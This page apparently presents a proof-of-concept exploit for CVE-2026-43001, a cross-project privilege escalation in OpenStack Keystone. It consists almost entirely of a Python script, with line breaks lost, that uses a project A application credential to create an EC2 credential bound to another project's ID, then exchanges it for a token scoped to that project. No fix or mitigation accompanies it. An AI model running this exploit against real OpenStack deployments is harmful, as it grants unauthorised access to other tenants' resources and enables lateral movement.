CVE-2026-43001 OpenStack Keystone跨项目越权漏洞

import requests import json # Configuration KEYSTONE_URL = "https://<keystone_host>:5000" APP_CRED_ID = "<app_credential_id>" APP_CRED_SECRET = "<app_credential_secret>" TARGET_PROJECT_ID = "<target_project_b_id>" # The attacker wants to access this project # Step 1: Authenticate using Application Credential for Project A # to get a scoped token for Project A auth_url = f"{KEYSTONE_URL}/v3/auth/tokens" auth_data = { "auth": { "identity": { "methods": ["application_credential"], "application_credential": { "id": APP_CRED_ID, "secret": APP_CRED_SECRET } } } } headers = {'Content-Type': 'application/json'} response = requests.post(auth_url, json=auth_data, headers=headers, verify=False) if response.status_code != 201: print("Failed to authenticate with App Credential") exit(1) project_a_token = response.headers['X-Subject-Token'] print(f"Got token for Project A: {project_a_token[:20]}...") # Step 2: Exploit the vulnerability - Create EC2 Credential for Project B # using the token from Project A ec2_create_url = f"{KEYSTONE_URL}/v3/credentials" ec2_payload = { "credential": { "type": "ec2", "blob": {}, "project_id": TARGET_PROJECT_ID # VULNERABILITY: ID is not validated against token's project } } ec2_headers = { 'X-Auth-Token': project_a_token, 'Content-Type': 'application/json' } ec2_response = requests.post(ec2_create_url, json=ec2_payload, headers=ec2_headers, verify=False) if ec2_response.status_code == 201: ec2_cred_data = ec2_response.json()['credential'] access = ec2_cred_data['blob']['access'] secret = ec2_cred_data['blob']['secret'] print(f"Successfully created EC2 Cred for Project B! Access: {access}") # Step 3: Exchange EC2 Credential for a Token scoped to Project B ec2tokens_url = f"{KEYSTONE_URL}/v3/ec2tokens" ec2_auth_payload = { "auth": { "identity": { "methods": ["ec2credential"], "ec2credential": { "access": access, "secret": secret } } } } token_response = requests.post(ec2tokens_url, json=ec2_auth_payload, headers=headers, verify=False) if token_response.status_code == 201: project_b_token = token_response.headers['X-Subject-Token'] token_body = token_response.json()['token'] print(f"Got token scoped to Project: {token_body['project']['id']}") if token_body['project']['id'] == TARGET_PROJECT_ID: print("[+] Exploit successful! Lateral movement achieved.") else: print("Failed to exchange EC2 token.") else: print(f"Failed to create EC2 credential: {ec2_response.text}")